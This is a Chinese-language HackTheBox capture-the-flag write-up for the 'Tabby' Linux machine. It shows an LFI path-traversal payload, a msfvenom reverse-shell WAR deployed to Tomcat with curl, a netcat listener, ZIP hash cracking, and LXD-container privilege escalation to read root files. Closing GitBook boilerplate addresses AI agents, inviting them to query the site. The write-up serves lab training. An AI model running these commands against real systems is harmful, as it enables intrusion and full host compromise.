> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md). # Tabby HackTheBox 复盘 Tabby HackTheBox 简单 Linux 机器复盘，涵盖本地文件包含（LFI）、滥用 Tomcat Virtual Host Manager、滥用基于文本的 Tomcat Manager - 部署恶意 War（Curl 方法）、LXD 利用 {% embed url="" %} {% hint style="warning" icon="cube" %} **技能：** * 本地文件包含（LFI） * Apache Tomcat Manager 部署 * 密码复用与 LXD 组滥用 {% endhint %} ## 侦察为这台机器创建一个工作区。 ```bash mkdir Tabby cd !$ mkt settarget 10.129.5.156 Tabby ```

TTL 为 64 表明目标是 Linux。将主机名添加到 `/etc/hosts`. ```bash ping 10.129.5.156 nano /etc/hosts ``` ```bash 10.129.5.156 megahosting.htb ``` ### Nmap 扫描所有开放的 TCP 端口。 ```bash nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn 10.129.5.156 -oG allPorts ``` * 8080 * 22 * 80

扫描已发现的端口以获取服务版本和默认脚本。 ```bash nmap -p22,80,8080 -sCV 10.129.5.156 -oN targeted ```

#### 端口 80

**本地文件包含** 该 `news.php` `文件` 参数存在本地文件包含（LFI）漏洞。 ```bash news.php?file=../../../../../etc/passwd ```

#### 8080 端口

Tomcat 9 已安装。其凭据存储在： * `/usr/share/tomcat9/etc/tomcat-users.xml`

Tomcat 面板显示 `CATALINA_HOME` 是 `/usr/share/tomcat9`. 完整路径是： ```bash /usr/share/tomcat9/etc/tomcat-users.xml ``` 使用路径遍历获取 Tomcat 凭据。 ```bash ```

打开 Tomcat 虚拟主机管理器： * 目标运行的是 Tomcat 9.0.31。使用恢复出的凭据登录。

此参考介绍了通过 Host Manager 利用 Tomcat 的另一种方法。 {% embed url="" %} ### 初始访问 #### 创建一个 WAR 文件 ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.15.2 LPORT=443 -f war -o reverse.war ```

#### 部署 WAR 文件使用以下命令部署 WAR 文件 `curl`: {% code overflow="wrap" %} ```bash curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://megahosting.htb:8080/manager/text/deploy?path=/reverse" --upload-file reverse.war ``` {% endcode %} #### 触发反向 shell 监听端口 `443`: {% code overflow="wrap" %} ```bash sudo nc -nlvp 443 ``` {% endcode %}

浏览到以触发反向 shell。

#### 稳定 TTY {% code overflow="wrap" %} ```bash python3 -c 'import pty; pty.spawn("/bin/bash")' # 然后按 Ctrl+Z。 stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` {% endcode %} ### 权限提升 #### 检查 Web 目录检查 `/var/www/html`. 该 `文件` 目录包含 `16162020_backup.zip`. 从目标主机提供该压缩包： ```bash python3 -m http.server 655 ```

从你的机器下载它： ```bash wget http://megahosting.htb:655/files/16162020_backup.zip ``` #### 破解 ZIP 压缩包该 ZIP 压缩包受密码保护。

使用以下命令提取其哈希： `zip2john`: ```bash zip2john 16162020_backup.zip > hash ```

使用以下命令破解哈希： `john`: ```bash john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash ``` 恢复出的密码是 `admin@it`.

使用该密码解压并检查压缩包。

解压会创建一个 `var` 目录，其中只有少量有用文件。不过， `admin@it` 也可作为 `ash` 在目标上进行身份验证。 ```bash ssh ash@megahosting.htb ``` #### 用户标志

#### 利用 LXD 组成员身份该 `ash` 该用户属于 `lxd` 组。这使得可以滥用 LXC 获取 root 权限。

LXD 组成员身份允许特权容器挂载主机文件系统。 #### 导入 Alpine 镜像在你的机器上构建或下载 Alpine LXD 镜像。提供该镜像： ```bash python3 -m http.server 80 ``` 在目标上下载并导入该镜像： ```bash cd /tmp wget http://10.10.14.7/alpine-v3.13-x86_64-20210218_0139.tar.gz export PATH=$PATH:/snap/bin lxc image import alpine-v3.13-x86_64-20210218_0139.tar.gz --alias alpine ```

创建一个特权容器并挂载主机根文件系统： ```bash lxc init alpine privesc -c security.privileged=true lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true lxc start privesc lxc exec privesc /bin/sh ``` 现在目标根文件系统可在以下位置访问： `/mnt/root`. ```bash cat /mnt/root/root/root.txt ```

#### root flag

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/tabby-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.